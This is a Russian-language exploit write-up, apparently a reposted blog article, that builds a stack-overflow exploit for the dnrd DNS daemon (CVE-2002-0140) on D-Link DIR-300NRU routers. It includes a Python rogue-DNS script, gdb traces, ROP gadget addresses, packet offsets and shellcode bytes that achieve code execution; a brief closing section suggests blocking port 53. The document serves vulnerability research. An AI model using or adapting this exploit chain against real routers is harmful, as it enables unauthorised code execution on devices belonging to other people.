Эксплуатируем хорошо забытую старую уязвимость в роутерах D-Link DIR-300NRU

в 6:30, , рубрики: dnrd, DNS, информационная безопасность, Сетевое оборудование, эксплоит, метки: , , ,

Я уже рассказывал, что в роутерах D-Link DIR-300NRU, для работы DNS используется демон dnrd подверженный уязвимости CVE-2002-0140. Под катом я попробую сформировать пакет вызывающий переполнение стека и воспользовавшись магией ROP, добиться выполнения нескольких инструкций на стеке.

Выполнить я попытаюсь следующий код:

	lui	t9,0x2ab4
	addiu	t9,t9,-18464
	nop
	jalr	t9
	nop

что есть просто вызов функции exit(0). Согласен, просто и без вкуса. Но в данный момент я хочу показать возможность выполнения кода на стеке.

Немного об инструментах.

Для комфортного изучения dnrd, нам понадобится gdbserver внедренный в прошивку роутера и сам gdb, собранный с поддержкой архитектуры MIPS. Его можно собрать с помощью набора для кросс-компиляции, прилагающегося к исходникам прошивки. Там же найдется mipsel-linux-uclibc-objdump, который позволит дизассемблировать бинарник dnrd и динамическую библиотеку libc, им используемую. Для внедрения серверной части отладчика в прошивку, я пользовался firmwire-mod-kit. Чтобы прошивка собралась придется удалить из файловой системы несколько ненужных утилит.

И наконец, простенький скрипт, слушающий 53 порт UDP и на любой запрос отсылающий особым образом сформированный пакет

#!/usr/bin/python 

import sys
import socket

UDP_IP = "192.168.0.100"
UDP_PORT = 53

sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.bind((UDP_IP, UDP_PORT))

k_answer = bytearray()
for i in range(0,514):
	k_answer.append(i%256)
k_answer[0:12] = [0xff,0xff,0x01,0x20,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x01]#заголовок DNS-ответ
k_answer[12] = 0x1d      #длинна элемента поля name
k_answer[42:44] = [0xc0,0x0c]   #зациклим name
while True:
	data, (r_addr, r_port) = sock.recvfrom(1024)
	sock.sendto(k_answer, (r_addr, r_port))

Переполнение стека

С первой консоли подключаемся через telnet к роутеру и запускаем на нем сервер отладчика:

gdbserver 192.168.0.1:6666 /usr/sbin/dnrd -s 192.168.0.100

192.168.0.100 — адрес вышестоящего DNS сервера. В нашем случае это машина на которой запущен наш скрипт.

На второй консоли запускаем mipsel-linux-uclibc-gdb и начинаем удаленную отладку:

(gdb) target remote 192.168.0.1:6666
(gdb) continue

С третьей консоли посылаем запрос на разрешение доменного имени к исследуемому демону, который заставит его обратится к нашему скрипту и получить сформированый нами пакет:

dig @192.168.0.1 example.com

Во второй консоли с отладчиком наблюдаем:

Program terminated with signal SIGSEGV, Segmentation fault.
The program no longer exists.

Уже интересно, но мы добились только того, что исследуемый процесс выполняя бесконечную рекурсию функции get_objectname() добрался до границы сегмента стека и попытался записать данные в недоступную ему память. За это он был наказан сигналом №11 и принудительно завершен. Понятно, что переполнение имеет место быть, но как этим воспользоваться?

Делаем рекурсию конечной

Теперь нам надо как-то добраться до нашей функции get_objectname(). Проблема в том, что в бинарнике dnrd такого символа нет. Я пошел самым простым путем — заглянул в исходники. Оказалось, что наша не совсем корректно работающая функция вызывается из функции parse_query().

Отсюда и начнем

   0x405e00 <parse_query>:	lui	gp,0xfc0; на третьем входе начинается все само интересное
   0x405e04 <parse_query+4>:	addiu	gp,gp,9648
   0x405e08 <parse_query+8>:	addu	gp,gp,t9
   0x405e0c <parse_query+12>:	addiu	sp,sp,-48
   0x405e10 <parse_query+16>:	sw	gp,16(sp)
   0x405e14 <parse_query+20>:	move	t0,a1
   0x405e18 <parse_query+24>:	sw	s1,36(sp)
   0x405e1c <parse_query+28>:	sw	s0,32(sp)
   0x405e20 <parse_query+32>:	sw	ra,44(sp)
   0x405e24 <parse_query+36>:	sw	gp,40(sp)
   0x405e28 <parse_query+40>:	lhu	v1,4(t0)
   0x405e2c <parse_query+44>:	addiu	s0,a0,2
   0x405e30 <parse_query+48>:	andi	v0,v1,0xff
   0x405e34 <parse_query+52>:	sll	v0,v0,0x8
   0x405e38 <parse_query+56>:	srl	v1,v1,0x8
   0x405e3c <parse_query+60>:	or	v1,v1,v0
   0x405e40 <parse_query+64>:	addiu	t1,a1,12
   0x405e44 <parse_query+68>:	move	s1,a0
   0x405e48 <parse_query+72>:	move	a3,zero
   0x405e4c <parse_query+76>:	addiu	a1,sp,28
   0x405e50 <parse_query+80>:	move	a0,t0
   0x405e54 <parse_query+84>:	move	a2,s0
   0x405e58 <parse_query+88>:	beqz	v1,0x405f58 <parse_query+344>; интересно но не то... идем дальше
   0x405e5c <parse_query+92>:	move	v0,zero
   0x405e60 <parse_query+96>:	lhu	v1,2(t0)
   0x405e64 <parse_query+100>:	sw	t1,28(sp)
   0x405e68 <parse_query+104>:	andi	v0,v1,0xff
   0x405e6c <parse_query+108>:	sll	v0,v0,0x8
   0x405e70 <parse_query+112>:	srl	v1,v1,0x8
   0x405e74 <parse_query+116>:	or	v1,v1,v0
   0x405e78 <parse_query+120>:	sh	v1,0(s1)
   0x405e7c <parse_query+124>:	lw	t9,-32740(gp)
   0x405e80 <parse_query+128>:	nop
   0x405e84 <parse_query+132>:	addiu	t9,t9,21180
   0x405e88 <parse_query+136>:	nop
   0x405e8c <parse_query+140>:	jalr	t9;вот тут интересно - до входа стек есть, 
   0x405e90 <parse_query+144>:	nop    ;а после - нету 0x4052bc - адрес куда уходим
   0x405e94 <parse_query+148>:	lw	gp,16(sp)
   0x405e98 <parse_query+152>:	addu	v0,s1,v0
   0x405e9c <parse_query+156>:	lw	a0,28(sp)
   0x405ea0 <parse_query+160>:	sb	zero,2(v0)
   0x405ea4 <parse_query+164>:	lb	v0,0(a0)
   0x405ea8 <parse_query+168>:	lb	v1,1(a0)
   0x405eac <parse_query+172>:	sb	v0,24(sp)
   0x405eb0 <parse_query+176>:	sb	v1,25(sp)
   0x405eb4 <parse_query+180>:	lhu	v1,24(sp)
   0x405eb8 <parse_query+184>:	addiu	a1,a0,2
   0x405ebc <parse_query+188>:	andi	v0,v1,0xff
   0x405ec0 <parse_query+192>:	sll	v0,v0,0x8
   0x405ec4 <parse_query+196>:	srl	v1,v1,0x8
   0x405ec8 <parse_query+200>:	or	v1,v1,v0
   0x405ecc <parse_query+204>:	sw	a1,28(sp)
   0x405ed0 <parse_query+208>:	sw	v1,304(s1)
   0x405ed4 <parse_query+212>:	lb	v0,2(a0)
   0x405ed8 <parse_query+216>:	lb	v1,3(a0)
   0x405edc <parse_query+220>:	sb	v0,24(sp)
   0x405ee0 <parse_query+224>:	sb	v1,25(sp)
   0x405ee4 <parse_query+228>:	lhu	v1,24(sp)
   0x405ee8 <parse_query+232>:	addiu	a0,a0,4
   0x405eec <parse_query+236>:	andi	v0,v1,0xff
   0x405ef0 <parse_query+240>:	sll	v0,v0,0x8
   0x405ef4 <parse_query+244>:	srl	v1,v1,0x8
   0x405ef8 <parse_query+248>:	or	v1,v1,v0
   0x405efc <parse_query+252>:	sw	v1,308(s1)
   0x405f00 <parse_query+256>:	sw	a0,28(sp)
   0x405f04 <parse_query+260>:	move	a0,s0
   0x405f08 <parse_query+264>:	lw	t9,-32664(gp)
   0x405f0c <parse_query+268>:	nop
   0x405f10 <parse_query+272>:	jalr	t9
   0x405f14 <parse_query+276>:	nop
   0x405f18 <parse_query+280>:	lw	gp,16(sp)
   0x405f1c <parse_query+284>:	addu	v1,v0,s1
   0x405f20 <parse_query+288>:	addiu	a1,v1,-1
   0x405f24 <parse_query+292>:	blez	v0,0x405f40 <parse_query+320>
   0x405f28 <parse_query+296>:	move	a0,s0
   0x405f2c <parse_query+300>:	lb	v1,2(a1)
   0x405f30 <parse_query+304>:	li	v0,46
   0x405f34 <parse_query+308>:	bne	v1,v0,0x405f40 <parse_query+320>
   0x405f38 <parse_query+312>:	nop
   0x405f3c <parse_query+316>:	sb	zero,2(a1)
   0x405f40 <parse_query+320>:	lw	t9,-32180(gp)
   0x405f44 <parse_query+324>:	nop
   0x405f48 <parse_query+328>:	jalr	t9
   0x405f4c <parse_query+332>:	nop
   0x405f50 <parse_query+336>:	lw	gp,16(sp)
   0x405f54 <parse_query+340>:	lw	v0,28(sp)
   0x405f58 <parse_query+344>:	lw	ra,44(sp)
   0x405f5c <parse_query+348>:	lw	s1,36(sp)
   0x405f60 <parse_query+352>:	lw	s0,32(sp)
   0x405f64 <parse_query+356>:	jr	ra
   0x405f68 <parse_query+360>:	addiu	sp,sp,48
   0x405f6c <parse_query+364>:	nop

Поставив точки прерывания на адреса 0x405e8c и 0x405e94. Несколько раз все проходит удачно. Стек и регистры перед последним входом в функцию:

(gdb) i r
          zero       at       v0       v1       a0       a1       a2       a3
 R0   00000000 1100fc00 00000100 00000120 7f925960 7f925694 7f9256c2 00000000 
            t0       t1       t2       t3       t4       t5       t6       t7
 R8   7f925960 7f92596c 2aaae13c 2aaf48c4 00000410 073c3a40 2aaf5ed4 00401538 
            s0       s1       s2       s3       s4       s5       s6       s7
 R16  7f9256c2 7f9256c0 00000000 7f925c00 7f925c08 1000b678 10007124 00000000 
            t8       t9       k0       k1       gp       sp       s8       ra
 R24  2aaf07c4 004052bc 00000000 00000000 100083b0 7f925678 7f8d5ac8 004033d0 
            sr       lo       hi      bad    cause       pc
      00000000 0001cbe9 000002e1 00407038 10800024 00405e8c 
           fsr      fir
      00000000 00000000 
(gdb) bt
#0  0x00405e8c in parse_query ()
#1  0x004033d0 in cache_dnspacket ()
#2  0x00408228 in handle_udpreply ()
#3  0x0040752c in run ()
#4  0x00402778 in main ()
(gdb) c

Продолжаем и… наша программа снова умирает. Вот и нашлась наша функция get_objectname(). Она живет по адресу в регистре t9 = 0x004052bc.
Стоит упомянуть, что для MIPS принято значения передаваемые функции сохранять в регистрах a0-a3, возвращаемые значения сохраняются в регистрах v0 и v1, а адресс возврата — в регистре ra. Если функции необходимо будет вызывать другие функции, то регистр ra сохраняется на стеке. Этим мы скоро и воспользуемся.

Сверившись с исходниками, увидим, что в a0 содержится адрес нашего пакета (msg), а в a2 адрес буфера в который сохраняется поле NAME DNS-ответа (y->name);
в а3 находится смещение i текущего элемента y->name[i]. Мы можем посчитать смещение на стеке между пакетом и y->name — оно составляет 670 байт.

Владея этой информацией заглянем по адресу 0x004052bc

(gdb) x/20i 0x004052bc
0x4052bc <free_packet+1148>:	lui	gp,0xfc0
0x4052c0 <free_packet+1152>:	addiu	gp,gp,12532
0x4052c4 <free_packet+1156>:	addu	gp,gp,t9
0x4052c8 <free_packet+1160>:	addiu	sp,sp,-48
0x4052cc <free_packet+1164>:	sw	gp,16(sp)
0x4052d0 <free_packet+1168>:	sw	s1,36(sp)
0x4052d4 <free_packet+1172>:	sw	s0,32(sp)
0x4052d8 <free_packet+1176>:	sw	ra,44(sp)
0x4052dc <free_packet+1180>:	sw	gp,40(sp)
0x4052e0 <free_packet+1184>:	lw	t0,0(a1)
0x4052e4 <free_packet+1188>:	move	s0,a1
0x4052e8 <free_packet+1192>:	lbu	a1,0(t0)
0x4052ec <free_packet+1196>:	nop
0x4052f0 <free_packet+1200>:	beqz	a1,0x4053c4 <free_packet+1412>
0x4052f4 <free_packet+1204>:	move	s1,a2
0x4052f8 <free_packet+1208>:	addiu	v0,t0,1
0x4052fc <free_packet+1212>:	andi	v1,a1,0xc0
0x405300 <free_packet+1216>:	beqz	v1,0x40534c <free_packet+1292>
0x405304 <free_packet+1220>:	sw	v0,0(s0)
0x405308 <free_packet+1224>:	lbu	v1,1(t0)
(gdb)

Очень похоже, что инструкция по адресу 0x4052fc это часть проверки на предмет сжатия в поле NAME. Самое место, чтобы поставить точку останова и наблюдать за значениями a3 и a0+12 (поле длинны элемента NAME). И вот наблюдая за рекурсией мы становимся свидетелями чуда перезаписи исходного сообщения:

Breakpoint 7, 0x004052fc in free_packet ()
3: x/xb $a0 + 12  0x7fc9b96c:	0x23
1: $a3 = 690

Учитывая то, что мы инициализировали пакет последовательностью (1,2,3,...), мы можем дописать в скрипт:

k_answer[35] = 0x00 # 0х23 == 35

Рекурсия прекращается и можно снова поставить точку останова в адрес возврата из get_objectname() в parse_query()

Breakpoint 8, 0x00405e94 in parse_query ()
1: $a3 = 690
(gdb) bt
#0  0x00405e94 in parse_query ()
#1  0x004033d0 in cache_dnspacket ()
#2  0x14131211 in ?? ()

Теперь мы знаем куда в пакете поместить адрес возврата, но у нас есть три проблемы:

  • в процессе рекурсии мы испортили наш пакет и данные в массиве msg немного не соответствуют пакету, который мы отправили
  • стек рандомизируется и адрес по которому сохранен пакет и соответственно код который мы хотим исполнить, нам неизвестен
  • особенностью архитектуры MIPS является наличие двух кэшей — для кода и для данных. Если мы попытаемся выполнить код, определяемый нашими данными на стеке, его там не окажется, ибо наш пакет находится в кэше данных, но не в памяти.

Передаем исполнение на стек

Вторую проблему решит ROP(return-oriented programming). Суть данного метода состоит в том, что мы находим в памяти процесса инструкции (адреса их нам заранее известны) решающие часть поставленной задачи и строим из таких инструкций цепочку решающую задачу полностью. Переходом от одного звена к другому мы управляем манипулируя подконтрольными нам данными на стеке.
Третью проблему можно решить вызовом функции cacheflush(), но ей необходимо передать адресс, число байт и тип кэша. Больно уж хлопотно загружать данные в три регистра посредством ROP. Есть способ попроще — отправить атакуемый процесс на секундочку поспать… и все пройдет. Наш выбор — вызвать sleep(1).
Первая проблема — вообще не проблема, увеличим немного sp, чтобы он указывал на качественные данные. Вот что я нашел grep'ая вывод mipsel-linux-uclibc-objdump -d.

Двигаем стек и устанавливаем s1 в 0х000001

 404e1c:       8fbf0024        lw      ra,36(sp)
 404e20:       8fb1001c        lw      s1,28(sp)
 404e24:       8fb00018        lw      s0,24(sp)
 404e28:       00601021        move    v0,v1
 404e2c:       03e00008        jr      ra
 404e30:       27bd0028        addiu   sp,sp,40

Поместим s1 в a0 и вызовем sleep(); установим gp = 2ab9a594, ибо по адресу $gp - 32668 libc хранит указатель на sleep()

0x2ab05b18 <clnttcp_create+2520>:       lw      gp,16(sp)
0x2ab05b1c <clnttcp_create+2524>:       move    a0,s1
0x2ab05b20 <clnttcp_create+2528>:       lw      t9,-32668(gp)
0x2ab05b24 <clnttcp_create+2532>:       jalr    t9                                             
0x2ab05b28 <clnttcp_create+2536>:       nop
0x2ab05b2c <clnttcp_create+2540>:       lw      gp,16(sp)
0x2ab05b30 <clnttcp_create+2544>:       lw      ra,36(sp)
0x2ab05b34 <clnttcp_create+2548>:       lw      s1,28(sp)
0x2ab05b38 <clnttcp_create+2552>:       lw      s0,24(sp)
0x2ab05b3c <clnttcp_create+2556>:       jr      ra
0x2ab05b40 <clnttcp_create+2560>:       addiu   sp,sp,40

Поместим в a3 указатель на стек

0x2ab081ec <pmap_rmtcall+172>:  addiu   a3,sp,40
0x2ab081f0 <pmap_rmtcall+176>:  beqz    v0,0x2ab08284 <pmap_rmtcall+324>
0x2ab08284 <pmap_rmtcall+324>:  move    v0,s1                                                        
0x2ab08288 <pmap_rmtcall+328>:  sh      zero,2(s4)
0x2ab0828c <pmap_rmtcall+332>:  lw      ra,116(sp)
0x2ab08290 <pmap_rmtcall+336>:  lw      s5,108(sp)
0x2ab08294 <pmap_rmtcall+340>:  lw      s4,104(sp)
0x2ab08298 <pmap_rmtcall+344>:  lw      s3,100(sp)
0x2ab0829c <pmap_rmtcall+348>:  lw      s2,96(sp)
0x2ab082a0 <pmap_rmtcall+352>:  lw      s1,92(sp)
0x2ab082a4 <pmap_rmtcall+356>:  lw      s0,88(sp)
0x2ab082a8 <pmap_rmtcall+360>:  jr      ra
0x2ab082ac <pmap_rmtcall+364>:  addiu   sp,sp,120

И, наконец передаем управление нашему скромному шеллкоду

0x2ab1b1f4 <_obstack_begin+100>:        move    t9,a3
0x2ab1b1f8 <_obstack_begin+104>:        jalr    t9
 

Остается только вычислить необходимые смещения в пакете и добавить в скрипт строчки вида:

k_answer[a:b] = [s,s,re,ad] 

где а — смещение в пакете; ad,re,s,s — байты адресов найденых ROP-гаджтов(в обратном порядке, т.к. кристалл работает в режиме little-endian) и добавить скромный шеллкод:

k_answer[123:147] = [0,0,0,0,0xb4,0x2a,0x19,0x3c,0xe0,0xb7,0x39,0x27,0,0,0,0,0x09,0xf8,0x20,0x03,0,0,0,0] 

И смотрим как наш код выполняется:

Breakpoint 13, 0x7fd0f9e0 in ?? ()
(gdb) x/5i $pc
0x7fd0f9e0:	lui	t9,0x2ab4
0x7fd0f9e4:	addiu	t9,t9,-18464
0x7fd0f9e8:	nop
0x7fd0f9ec:	jalr	t9
0x7fd0f9f0:	nop
(gdb) c
Continuing.

Program exited normally.

Меры противодейтсвия

Все вышесказанное будет работать для роутеров Dlink DIR-300 аппаратных ревизий B1,B2 и B3. Также данной уязвимости скорее всего подвержены DIR-300 A1 и DIR-320, но сам пакет для них должен быть другим.
Эксплуатация данной уязвимости возможна, также направлением специально сформированного запроса. Самым простым и действенным способом противодействия будет запретить обращения на 53 порт. Сделать это можно через web-интерфейс роутера. Это сделает невозможной атаку как через запросы, так и через ответы т.к. не будет создана трансляция адресов.

Автор: naszar

Источник

* - обязательные к заполнению поля


https://ajax.googleapis.com/ajax/libs/jquery/3.4.1/jquery.min.js